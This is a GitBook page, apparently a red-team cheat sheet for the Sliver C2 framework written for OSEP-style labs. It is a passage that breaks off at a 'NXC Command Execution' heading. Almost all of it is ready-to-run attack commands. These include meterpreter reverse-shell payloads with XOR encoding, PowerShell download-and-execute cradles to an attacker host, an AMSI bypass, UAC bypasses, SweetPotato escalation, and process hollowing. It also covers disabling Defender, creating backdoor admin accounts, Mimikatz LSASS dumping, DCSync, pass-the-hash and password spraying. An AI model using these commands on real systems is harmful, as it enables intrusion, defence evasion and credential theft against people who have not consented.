> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/c2-framworks/sliver-c2-cheatsheet.md).

# Sliver C2 CheatSheet

### Table of Contents

* Table of Contents
* Q & A
* Installation
  * Server
  * Client
  * Armory packages
* Generic
  * Hosts File
  * Nmap Scanning
  * Dirsearch
* Initial Foothold
  * Listeners
  * Payloads
  * Implant Duplication & Migration
* Bypasses
  * AMSI & CLM
    * SharpSh
    * Stracciatella
  * Application Whitelisting
* Privileges Escalation
  * Checks
  * Modifiable Service
  * SeImpersonatePrivileges
  * AlwaysInstallElevated
  * UAC Bypass
    * ComputerDefaults
    * Fodhelper
* Privileged User - Post-Exploitation
  * Flags
  * Enable RDP
  * Enable WinRM
  * Disable Defender & Firewall
  * Persistence
  * Restarting the machine
* Credentials Dumping
  * Mimikatz
    * Disable LSA protection
    * Machine Credentials
    * PEZor - Mimikatz
  * LaZagne
  * impacket-secretsdump
  * nxc
  * SharpKatz
  * Password Spraying
* Token Creation & Stealing
  * PassTheHash PTH
    * Mimikatz - PWSH port
    * Mimikatz - PEZor
    * SharpNamedPipePTH
  * make-token
  * netexec
  * runas
    * Injection
    * Direct Shell
  * Rubeus createnetonly
  * $cred in pwsh
  * Steal Token
    * migrate
    * execute-shellcode
    * SharpImpersonation
    * Msfconsole
* Tunneling
  * Portfwd
  * Reverse Port Forwarding
  * Socks5 Proxy
  * Ligolo
    * Subnet Access
    * Port Forwarding through Ligolo
* Lateral Movement
  * BOF - whoami
  * PsExec
  * jump-psexec
  * jump-wmiexec
  * SharpRDP
* Domain Enumeration
  * Laps
  * SharpHound
    * Linux
  * PingCastle
  * ADPeas
  * Trusts
    * PowerView
    * ADSearch
  * Shares Enumeration
    * SharpShares
    * Snaffler
* Domain Exploitation
  * Persistence
  * Kerberoasting
  * ACLs Abuse
    * ForcePasswordChange on User
    * GenericWrite on User
    * WriteDacl on Group
      * Windows Abuse
      * Linux Abuse
  * Unconstrained Delegation
  * Constrained Delegation
    * Machine
    * User
    * Linux
  * RBCD
    * GenericWrite
* Silver Ticket
  * Windows
  * Linux
* Domain Lateral Movement
  * Password Change
  * Golden Ticket
    * Child Domain to Parent Domain
    * Parent Domain to Child Domain
* MSSQL
  * SQLMap
  * Queries
  * MSSQLand
    * Add Custom Command
  * mssqlclient-ng
  * MSSQLpwner
  * SQLRecon
    * Links Exploitation
  * MSSQL - Relaying & Impersonation
  * PowerUPSQL
* Armory
  * SharpLaps
  * SharpView
  * SharpHound
  * SharpSecDump
  * sharpsh
  * SharpMapExec
  * SharpUp
  * SharpRDP
  * Rubeus
  * NoPowerShell
  * Sharp-SMBExec
  * SharpDPAPI
  * SharpWMI
* BOFs
  * jump-psexec
  * jump-wmiexec
* Armory Packages List
* Credits

### Q & A

* When I run armory packages with `-i`, I get CLM runtime error, how to resolve?
  * Run the same command again, twice, thrice, it will work out
* Sliver hangs when I run ligolo or other binaries, how to resolve?
  * Press Ctrl + C and then re-run sliver and use the session being used
  * Run any commands, it should work fine, ligolo process should keep running within the background
* `SweetPotato` shell dies right after I receive it, how to resolve?
  * The moment you get the shell either
    * Run phollow or
    * Disable AV using the oneliner of sharpsh
  * Repeat the above two steps (the AV disablement is favoured to process hollowing)
* I can't figure out sliver quote issues
  * Same lol but with enough practice and time waste, you'll get it
  * Base64 encode where supported using cyberchef, that should iron out a lot of isses
* Why is there a hav0c-ps.txt file everywhere?
  * I got lazy and didn't change the name as I was using Havoc before Sliver
  * Should be present within <https://github.com/Anon-Exploiter/sliver-cheatsheet/blob/main/bins/www/html/hav0c-ps.txt>

### Installation

Visit the sliver [releases page](https://github.com/BishopFox/sliver/releases) and install the pre-compiled Server and Client for your OS. Sliver also enables multiple operators to join using profiles since each operator can be generated using a different profile.

#### Server

```bash
# Install suitable Binary for your OS - Linux in this instance
wget -q https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x ./sliver-server_linux
./sliver-server_linux


# Operator profile

[server] sliver > new-operator -n <operator_name> -l <listening_IP>
[*] Generating new client certificate, please wait ... 
[*] Saved new client config to: /<path_to_generated_profile>/<operator_name>_<listening _IP>.cfg 

# Enabling Multiplayer mode

[server] sliver > multiplayer
[*] Multiplayer mode enabled!
[*] <operator_name> has joined the game
```

> **Note**: Without enabling the `multiplayer` mode, no one else will be able to connect to Sliver's server.

#### Client

Setting up the Sliver C2 client to connect with the server

```bash
# Download the sliver client
wget -q https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-client_linux
chmod +x ./sliver-client_linux
./sliver-client_linux import /<path_to_generated_profile>/<operator_name>_<listening _IP>.cfg


# After importing the profile, start the client
./sliver-client_linux 
```

#### Armory packages

[Armory](https://github.com/sliverarmory) contains a set of pre-installed .NET binaries ready to use for the client and server component.

```bash
sliver > armory install all

? Install 21 aliases and 140 extensions? Yes
[*] Installing alias 'SharPersist' (v0.0.2) ... done!
... Complete output at the end ...
```

### Generic

#### Hosts File

Resolves all ips to fqdn within the network based on protocols and adds entry within `/etc/hosts` to not add them manually.

```powershell
cd ~/tools/
git clone https://github.com/eMVee-NL/UpdateHostsFile
cd UpdateHostsFile

sudo python Update-Hosts-File.py --protocols smb,rdp --subnet 192.168.130.0/24
sudo python Update-Hosts-File.py --protocols smb,rdp --subnet 172.16.130.0/24
```

> **Note**: This will not create domain entries for domain controllers.

#### Nmap Scanning

```powershell
nmap -p- -sC -sV -A -Pn -n --open --append -oN 10.10.200.100 10.10.200.100
```

#### Dirsearch

```powershell
dirsearch -u http://10.10.200.100/ -t 100 --full-url -x 404
```

### Initial Foothold

#### Listeners

```powershell
# Sliver listeners
# 64 bit shell
profiles new --http 10.10.10.11:8088 --format shellcode osep
stage-listener --url tcp://10.10.10.11:4443 --profile osep
http -L 10.10.10.11 --lport 8088


# 32 Bit shell
profiles new --http 10.10.10.11:9090 --format shellcode -a x86 osepx86
stage-listener --url tcp://10.10.10.11:5553 --profile osepx86
http -L 10.10.10.11 --lport 9090


# Lateral movement
profiles new --http 10.10.10.11:8099 --format service osep-lateral
http -L 10.10.10.11 --lport 8099
```

#### Payloads

To be used with files in the `payloads` directory: <https://github.com/Anon-Exploiter/sliver-cheatsheet/tree/main/payloads> - Using the oneliners, you no longer need to later on XOR encrypt your shellcode manually using the course given C# code.

> XOR encryption with 2

```powershell
# Payloads
# 64 bit shell
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4443 EXITFUNC=thread -f raw -o /home/kali/OSEP/hav0c/sliver.x64.bin


# PowerShell Payload
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4443 EXITFUNC=thread -f raw | xxd -ps -c 1 | python3 -c 'import sys; key = 2; print("[Byte[]] $buf = " + ",".join([f"0x{(int(x, 16) ^ key):02X}" for x in sys.stdin.read().split()]))'


# C#
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4443 EXITFUNC=thread -f raw | python3 -c 'key = 2; import sys; data = sys.stdin.buffer.read(); encrypted = bytes([b ^ key for b in data]); print(f"byte[] buf = new byte[{len(encrypted)}] {{ " + ", ".join([f"0x{b:02X}" for b in encrypted]) + " };")'


# ASPX Payloads
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4443 EXITFUNC=thread -f raw | python3 -c 'key = 2; import sys; data = sys.stdin.buffer.read(); encrypted = bytes([b ^ key for b in data]); print(f"byte[] vL8fwOy_ = new byte[{len(encrypted)}] {{ " + ",".join([f"0x{b:02X}" for b in encrypted]) + " };")'


# VB - XOR
payload="cv2.docm"
python3 -c "payload=\"$payload\"; print(''.join(f'{ord(char) + 17:03}' for char in payload))"

payload="powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://10.10.10.11/hav0c-ps.txt'))"
python3 -c "payload=\"$payload\"; print(''.join(f'{ord(char) + 17:03}' for char in payload))"


# PowerShell Session
echo -en "(New-Object System.Net.WebClient).DownloadString('http://10.10.10.11/hav0c-ps.txt') | IEX" | iconv -t UTF-16LE | base64 -w 0
powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA==


# --
# 32 bit shell
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=5553 EXITFUNC=thread -f raw -o /home/kali/OSEP/hav0c/sliver.x86.bin


# VBS payload
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=5553 EXITFUNC=thread -f raw | xxd -ps -c 1 | python3 -c 'import sys; key = 2; data = [str(int(x, 16) ^ key) for x in sys.stdin.read().split()]; chunk_size = 50; chunks = [data[i:i + chunk_size] for i in range(0, len(data), chunk_size)]; print("buf = Array(", end=""); print(", _\n".join([", ".join(chunk) for chunk in chunks]) + ")")'


# PowerShell payload
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=5553 EXITFUNC=thread -f raw | xxd -ps -c 1 | python3 -c 'import sys; key = 2; print("[Byte[]] $buf = " + ",".join([f"0x{(int(x, 16) ^ key):02X}" for x in sys.stdin.read().split()]))'
```

Sliver implant

```powershell
# Create listener (if one doesn't exist already)
profiles new --http 10.10.10.11:8088 --format shellcode osep
http -L 10.10.10.11 --lport 8088


# Generate beacon .exe
generate beacon --http 10.10.250.10:8088 --name sliver.obfuscated --os windows --seconds 5 --jitter 0 --evasion
```

#### Implant Duplication & Migration

```powershell
# Launch either x64 or x86 version of notepad according to beacon process
execute C:\\windows\\system32\\notepad.exe
execute -T notepad
execute C:\\windows\\SysWOW64\\notepad.exe


# Launching process with rubues
rubeus -t 20 -- createnetonly /program:C:\\windows\\SysWOW64\\notepad.exe
rubeus -t 20 -- createnetonly /program:C:\\windows\\system32\\cmd.exe


# Get process pid (usually last process)
ps -e notepad


# Get explorer's pid for stability
ps -e explorer


# Migrate into the created process (two ways, migrate or execute-shellcode)
# This works the best on x86 with AV
migrate -p 3532


# x86 - Using -A or without, makes no difference, sliver automatically detects the arch for 32 bit
execute-shellcode -A 386 -p 1524 /home/kali/OSEP/hav0c/sliver.x86.bin
execute-shellcode -p 6896 /home/kali/OSEP/hav0c/sliver.x86.bin


# x64 - ShikataGaNai
execute-shellcode -p 5544 /home/kali/OSEP/hav0c/sliver.x64.bin
execute-shellcode -S -r -I 10 -p 9088 /home/kali/OSEP/hav0c/sliver.x64.bin


# Process Hollowing - works really well (recommended)
hollow svchost.exe /home/kali/OSEP/hav0c/sliver.x64.bin


## You may get the following error using `hollow` but the shell will be received regardless
[!] Call extension error: rpc error: code = Unknown desc = The parameter is incorrect.
```

### Bypasses

#### AMSI & CLM

**SharpSh**

> Lots of usage/examples in upcoming commands for enumeration

```powershell
# Running a single command
sharpsh -t 20 -- '-c "whoami /all"'
sharpsh -t 20 -- '-c "$ExecutionContext.SessionState.LanguageMode"'


# Running a script from remote address (without args) - just pass 1 as the arg as it requires something or won't run
sharpsh -t 200 -- '-u http://10.10.10.11/powershell-scripts/Footholder-V3.ps1 -c 1'


# Running a script from remote address (with args)
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerUp.ps1 -c "Invoke-AllChecks"'
sharpsh -t 200 -- '-u http://10.10.10.11/powershell-scripts/HostRecon.ps1 -c "Invoke-HostRecon"'


# Encoding of commands with lots of quotes (use cyberchef)
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
sharpsh -- -e -c TmV3LUl0ZW1Qcm9wZXJ0eSAiSEtDVTpcc29mdHdhcmVcY2xhc3Nlc1xtcy1zZXR0aW5nc1xzaGVsbFxvcGVuXGNvbW1hbmQiIC1OYW1lICJEZWxlZ2F0ZUV4ZWN1dGUiIC1WYWx1ZSAiIiAtRm9yY2U=

# Running commands with length > 256 characters - Sliver uses donut on backend which only supports 256 chars, run within process using `-i`
Invoke-Mimikatz -Command "privilege::debug token::elevate `"sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:ffffffffffffffffffffffffffffffff`" exit"
sharpsh -i -t 40 -- -u 'http://10.10.10.11/powershell-scripts/Invoke-Mimikatz.ps1' -e -c SW52b2tlLU1pbWlrYXR6IC1Db21tYW5kICJwcml2aWxlZ2U6OmRlYnVnIHRva2VuOjplbGV2YXRlIGAic2VrdXJsc2E6OnB0aCAvdXNlcjpBZG1pbmlzdHJhdG9yIC9kb21haW46aW5maW5pdHkuY29tIC9udGxtOjVmOTE2M2NhM2I2NzNhZGZmZjI4MjhmMzY4Y2EzNzYwYCIgZXhpdCI=
```

**Stracciatella**

> Same args as SharpSh

```powershell
execute-assembly -i /home/kali/tools/bins/csharp-files/Stracciatella.exe -c "$ExecutionContext.SessionState.LanguageMode"
```

#### Application Whitelisting

Sliver can run C# bins within the current process so we can use all those to enumerate, two ways:

* use the argument `-i` with `execute-assembly`
* `inline-execute-assembly`

```powershell
# execute-assembly
sharpup -- audit
sharpup -i -- audit
execute-assembly -i -- /home/kali/tools/bins/csharp-files/SharpUp.exe audit


# inline-execute-assembly
inline-execute-assembly /home/kali/tools/bins/csharp-files/SharpUp.exe audit
```

### Privileges Escalation

#### Checks

> For application whitelisting, add `-i` for inline-execution

```powershell
# Check privs - using BOF or with execute
sa-whoami
execute -o whoami /all


# Enumerate permissions
seatbelt -- -group=all
seatbelt -- -group=user


# Run sharpup to audit
sharpup -- audit
sharpup -i -- audit


# Run PowerUp
sharpsh -t 40 -- '-u http://10.10.10.11/powershell-scripts/PowerUp.ps1 -c "Invoke-AllChecks"'


# We can modify a service, check Get-ServiceAcl what we can modify/create
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/Get-ServiceAcl.ps1 -c "Get-ServiceAcl -Name SNMPTRAP | select -expand Access"'


# Check Registry for autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"


# HostRecon
sharpsh -t 200 -- '-u http://10.10.10.11/powershell-scripts/HostRecon.ps1 -c "Invoke-HostRecon"'


# Footholder-V3.ps1
sharpsh -t 200 -- '-u http://10.10.10.11/powershell-scripts/Footholder-V3.ps1 -c 1'


# winPEAS - 400 secs wait - better to do interactively
sharpsh -t 400 -- '-u http://10.10.10.11/powershell-scripts/winPEAS.ps1 -c 1'


# Winpeas - With oneliner AMSI bypass
shell
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
iex((new-object system.net.webclient).downloadstring('http://10.10.10.11/powershell-scripts/winPEAS.ps1'))


# Load within powershell itself (when required)
powershell -ep bypass
iex((new-object system.net.webclient).downloadstring('http://10.10.10.11/powershell-scripts/PowerUp.ps1'))
Invoke-AllChecks
```

#### Modifiable Service

Add a domain user within the local admins group on the machine

```powershell
execute -o sc qc SNMPTRAP
execute -o sc config SNMPTRAP binPath= "net localgroup Administrators domain.com\\user /add" obj= "NT AUTHORITY\\SYSTEM"
execute -o sc config SNMPTRAP start= auto
execute -o sc qc SNMPTRAP
execute -o sc start SNMPTRAP


# check if now in local admins
execute -o net localgroup administrators
```

#### `SeImpersonatePrivileges`

> Try EfsRpc if the by default way does not work with SweetPotato

```powershell
# We can use donut to get the shell, change IP address
donut -i /home/kali/tools/bins/csharp-files/SweetPotato.exe -a 2 -b 2 -p "-p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a \"IEX((new-object net.webclient).downloadstring('http://10.10.10.11/hav0c-ps.txt'))\"" -o /home/kali/tools/bins/csharp-files/SweetPotato.bin


# Using EfsRpc
donut -i /home/kali/tools/bins/csharp-files/SweetPotato.exe -a 2 -b 2 -p "-e EfsRpc -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a \"IEX((new-object net.webclient).downloadstring('http://10.10.10.11/hav0c-ps.txt'))\"" -o /home/kali/tools/bins/csharp-files/SweetPotato.bin


# For running directly using exec-assem
execute-assembly /home/kali/tools/bins/csharp-files/SweetPotato.exe -p C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -a \"-ep bypass -nop iex (New-Object System.Net.WebClient).DownloadString(\'http://10.10.10.11/hav0c-ps.txt\')\"
execute-assembly /home/kali/tools/bins/csharp-files/SweetPotato.exe -e EfsRpc -p C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -a \"-ep bypass -nop iex (New-Object System.Net.WebClient).DownloadString(\'http://10.10.10.11/hav0c-ps.txt\')\"


# Run a sacrifical process
execute notepad
ps -e notepad


# Inject into the process - THIS IS RECOMMENDED
execute-shellcode -S -r -I 30 -p 2060 /home/kali/tools/bins/csharp-files/SweetPotato.bin


# We can run this and get another shell
execute-shellcode -i -S -r -I 30 /home/kali/tools/bins/csharp-files/SweetPotato.bin
execute-shellcode -S -r -I 30 /home/kali/tools/bins/csharp-files/SweetPotato.bin


# Once we get the shell, make sure to do implant duplication using phollow as this one will get killed by AV sooner or later
hollow svchost.exe /home/kali/OSEP/hav0c/sliver.x64.bin
```

#### AlwaysInstallElevated

```powershell
# Install wixl
sudo apt install wixl


# Clone the MSI-AlwaysInstallElevated repo
cd ~/tools
git clone https://github.com/KINGSABRI/MSI-AlwaysInstallElevated
cd ~/tools/MSI-AlwaysInstallElevated


# Copy C# OSEP binary with XOR encrypted shellcode into current directory
sudo cp /home/kali/OSEP/hav0c/sliver.x64.exe .
sudo chmod 777 sliver.x64.exe


# Modify on line 15 from
                    <File Id="File0" Name="setup.exe" Source="setup.exe" /> <!-- Put the executable on the same directory-->

# to 
                    <File Id="File0" Name="setup.exe" Source="sliver.x64.exe" /> <!-- Put the executable on the same directory-->



# Compile
wixl -v WXS-Templates/alwaysInstallElevated-3.wxs -o alwaysInstallElevated.msi
sudo cp alwaysInstallElevated.msi /var/www/html
sudo chmod 777 /var/www/html/alwaysInstallElevated.msi


# Run on victim, another shell should pop up as NT Auth\System
execute -t 40 -o msiexec /qn /i http://10.10.10.11/alwaysInstallElevated.msi
```

#### UAC Bypass

> Disabling defender before running getsystem is ideal

**ComputerDefaults**

```powershell
# Create registry for ComputerDefaults
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
sharpsh -- -e -c TmV3LUl0ZW0gIkhLQ1U6XHNvZnR3YXJlXGNsYXNzZXNcbXMtc2V0dGluZ3Ncc2hlbGxcb3Blblxjb21tYW5kIiAtRm9yY2U=


# Add property
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
sharpsh -- -e -c TmV3LUl0ZW1Qcm9wZXJ0eSAiSEtDVTpcc29mdHdhcmVcY2xhc3Nlc1xtcy1zZXR0aW5nc1xzaGVsbFxvcGVuXGNvbW1hbmQiIC1OYW1lICJEZWxlZ2F0ZUV4ZWN1dGUiIC1WYWx1ZSAiIiAtRm9yY2U=


# Add another property with powershell code to be executed
execute -o powershell 'Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "C:\Windows\System32\cmd.exe /c powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA==" -Force'


# Run the process
execute -o powershell 'Start-Process "C:\Windows\System32\ComputerDefaults.exe"'


# Check privs
execute -o whoami /priv
sa-whoami


# Get system shell
getsystem
```

**Fodhelper**

```powershell
# Create registry for Fodhelper
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value "powershell.exe (iwr http://10.10.10.11/hav0c-ps.txt -usebasicparsing) | IEX" -Force
sharpsh -- -e -c TmV3LUl0ZW0gLVBhdGggSEtDVTpcU29mdHdhcmVcQ2xhc3Nlc1xtcy1zZXR0aW5nc1xzaGVsbFxvcGVuXGNvbW1hbmQgLVZhbHVlICJwb3dlcnNoZWxsLmV4ZSAoaXdyIGh0dHA6Ly8xOTIuMTY4LjQ1LjE5NC9oYXYwYy1wcy50eHQgLXVzZWJhc2ljcGFyc2luZykgfCBJRVgiIC1Gb3JjZQ==


# Create registry for Fodhelper
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
sharpsh -- -e -c TmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCBIS0NVOlxTb2Z0d2FyZVxDbGFzc2VzXG1zLXNldHRpbmdzXHNoZWxsXG9wZW5cY29tbWFuZCAtTmFtZSBEZWxlZ2F0ZUV4ZWN1dGUgLVByb3BlcnR5VHlwZSBTdHJpbmcgLUZvcmNl


# Run fodhelper
execute -o powershell 'Start-Process "C:\Windows\System32\fodhelper.exe"'


# Check privs
execute -o whoami /priv
sa-whoami


# Get system shell
getsystem
```

### Privileged User - Post-Exploitation

> Things to do after getting privileged user account

#### Flags

```powershell
# Recursive search for flags - Always in Users for Windows
cd C:/Users
execute -o tree /f /a


# proof is usually within admin's desktop
cat C:/Users/Administrator/Desktop/proof.txt


# local is usually within public's main directory
cat C:/Users/Public/local.txt
```

#### Enable RDP

```powershell
# Enable RDP and allow its port
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"


# Encoded commands within sliver
sharpsh -- -e -c U2V0LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtMTTpcU1lTVEVNXEN1cnJlbnRDb250cm9sU2V0XENvbnRyb2xcVGVybWluYWwgU2VydmVyIiAtTmFtZSAiZkRlbnlUU0Nvbm5lY3Rpb25zIiAtVmFsdWUgMCAtVHlwZSBEV29yZA0K
sharpsh -- -e -c bmV0c2ggZmlyZXdhbGwgYWRkIHBvcnRvcGVuaW5nIFRDUCAzMzg5ICJSZW1vdGUgRGVza3RvcCI=


# Allow PTH login 
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
sharpsh -- -c \"New-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\" -Name DisableRestrictedAdmin -Value 0\"


# RDP as Administrator with PTH
xfreerdp /u:Administrator /pth:a293fe16548ddab726ed3ace8cdee7ba /v:10.10.100.10 /cert:ignore /dynamic-resolution


# Once RDPed, open powershell as admin and run or use NXC to get shell on sliver
powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA==
```

#### Enable WinRM

```powershell
# Directly in pwsh
Enable-PSRemoting -Force


# Within sliver
sharpsh -- -c '"Enable-PSRemoting -Force"'
```

#### Disable Defender & Firewall

```powershell
sharpsh -t 20 -- -c \"Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true\"
sharpsh -t 20 -- -u 'http://10.10.10.11/powershell-scripts/DefendersDeath.ps1' -c 1
```

#### Persistence

```powershell
# Add a domain user we have already compromised as local admin on the machine - Helps with creds dumping as well
execute -o net localgroup administrators domain.com\\attacker /add
execute -o net localgroup administrators


# Create local user and add into local admins and RDP groups
execute -o net user /add userooo "Password123@" /Y
execute -o net localgroup administrators userooo /add
execute -o net localgroup "Remote Desktop Users" userooo /add
execute -o net localgroup "Remote Management Users" userooo /add
```

#### Restarting the machine

```powershell
execute -o shutdown -r -t 0
```

> **Note**: This only works if the `SeShutdownPrivilege` is available. PowerShell remoting uses **network logon** which does not support `SeShutdownPrivilege`.

### Credentials Dumping

#### Mimikatz

**Disable LSA protection**

```powershell
# We need to upload the mimidrv.sys from where mimikatz would execute from
upload /home/kali/tools/bins/csharp-files/mimidrv.sys c:/windows/temp/mimidrv.sys


# Go to the directory
cd c:/windows/temp/
ls


# Load the mimidrv driver and remove protection from LSASS
mimikatz '"privilege::debug" "token::elevate" "!+" "!processprotect /process:lsass.exe /remove"'
```

**Machine Credentials**

```powershell
# LSASS Dump
mimikatz "token::elevate" "sekurlsa::logonpasswords" "exit"
mimikatz "token::elevate" "sekurlsa::dpapi" "exit"
mimikatz "token::elevate" "sekurlsa::ekeys" "exit"
mimikatz "token::elevate" "sekurlsa::wdigest" "exit"


# SAM/Secrets/Cache dump
mimikatz "token::elevate" "lsadump::sam" "exit"
mimikatz "token::elevate" "lsadump::secrets" "exit"
mimikatz "token::elevate" "lsadump::cache" "exit"


# Vault dump
mimikatz '"token::elevate" "vault::list" "exit"'
mimikatz '"token::elevate" "vault::cred /patch" "exit"'
```

**PEZor - Mimikatz**

For converting the mimikatz binary into a C# binary with preloaded arguments and to run with `execute-assembly`

```powershell
# Mimikatz
mimikatz "privilege::debug" "exit"
PEzor -unhook -antidebug -fluctuate=NA -format=dotnet -sleep=5 /home/kali/tools/bins/exes/mimikatz.exe -z 2 -p '"privilege::debug" "exit"'
execute-assembly /home/kali/tools/bins/exes/mimikatz.exe.packed.dotnet.exe


# We need to upload the mimidrv.sys from where mimikatz would execute from
upload /home/kali/tools/bins/csharp-files/mimidrv.sys c:/windows/temp/mimidrv.sys


# Go to the directory
cd c:/windows/temp/
ls


# Now use PEzor to convert mimikatz into a C# executable with arguments to unload LSA protection by loading mimidrv.sys driver
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "exit"


# Looks like this - Rinse and repeat for other mimikatz commands
PEzor -unhook -antidebug -fluctuate=NA -format=dotnet -sleep=5 /home/kali/tools/bins/exes/mimikatz.exe -z 2 -p '"privilege::debug" "token::elevate" "!+" "!processprotect /process:lsass.exe /remove" "sekurlsa::logonpasswords" "exit"'
execute-assembly /home/kali/tools/bins/exes/mimikatz.exe.packed.dotnet.exe
```

#### LaZagne

```powershell
# Upload Lazagne binary to execute - as its not in C#, defender should be disabled
upload /home/kali/tools/bins/exes/LaZagne.exe


# Run 
execute -o LaZagne.exe
execute -o LaZagne.exe all -v
```

#### impacket-secretsdump

```powershell
# Local Admin on machine
impacket-secretsdump ./Administrator@machine -hashes ':ffffffffffffffffffffffffffffffff' -dc-ip 10.10.100.1 -target-ip 10.10.100.12


# Using credentials 
impacket-secretsdump domain.com/user:'Password123!'@machine -dc-ip 10.10.100.1 -target-ip 10.10.100.12
```

#### nxc

```powershell
# DCSync along with other dumps using ticket
nxc smb dc01.domain.com --use-kcache --sam --lsa --dpapi -M ntdsutil


# DCSync for a specific user account
nxc smb dc01.domain.com -d domain -u username -p 'password' --ntds --user krbtgt
nxc smb dc01.domain.com -d domain -u username -p 'password' --ntds --user Administrator
```

#### SharpKatz

For dumping specific user credentials, need to specify domain name before the user or it won't work. Really useful!

```powershell
# LSASS Dump
execute-assembly /home/kali/tools/bins/csharp-files/SharpKatz.exe --Command logonpasswords
execute-assembly /home/kali/tools/bins/csharp-files/SharpKatz.exe --Command ekeys


# DCSync
execute-assembly /home/kali/tools/bins/csharp-files/SharpKatz.exe --Command dcsync --Domain domain.com
execute-assembly /home/kali/tools/bins/csharp-files/SharpKatz.exe --Command dcsync --Domain domain.com --DomainController dc01.domain.com


# DCSync - As a user on a machine with no write perms - use this
execute-assembly /home/kali/tools/bins/csharp-files/SharpKatz.exe --Command dcsync --User DOMAIN\\Administrator --Domain domain.COM --DomainController dc01.domain.com
```

#### Password Spraying

Password, Hash and Tickets Spraying

```powershell
# Domain user creds
nxc smb 10.10.100.0/24 -d domain.com -u user -p password
nxc winrm 10.10.100.0/24 -d domain.com -u user -H ffffffffffffffffffffffffffffffff


# Local admin creds
nxc smb 10.10.100.0/24 -d . -u Administrator -H ffffffffffffffffffffffffffffffff


# Enumerate shares
nxc smb 10.10.100.0/24 -d domain.com -u user -p password --shares


# Tickets spraying
nxc smb 10.10.100.0/24 --use-kcache
nxc smb machine.domain.com --use-kcache --exec-method atexec -x "powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=="


# SSH creds spray - for domain account
nxc ssh 10.10.100.0/24 -u user@domain.com -p password


# NXC Command Execution
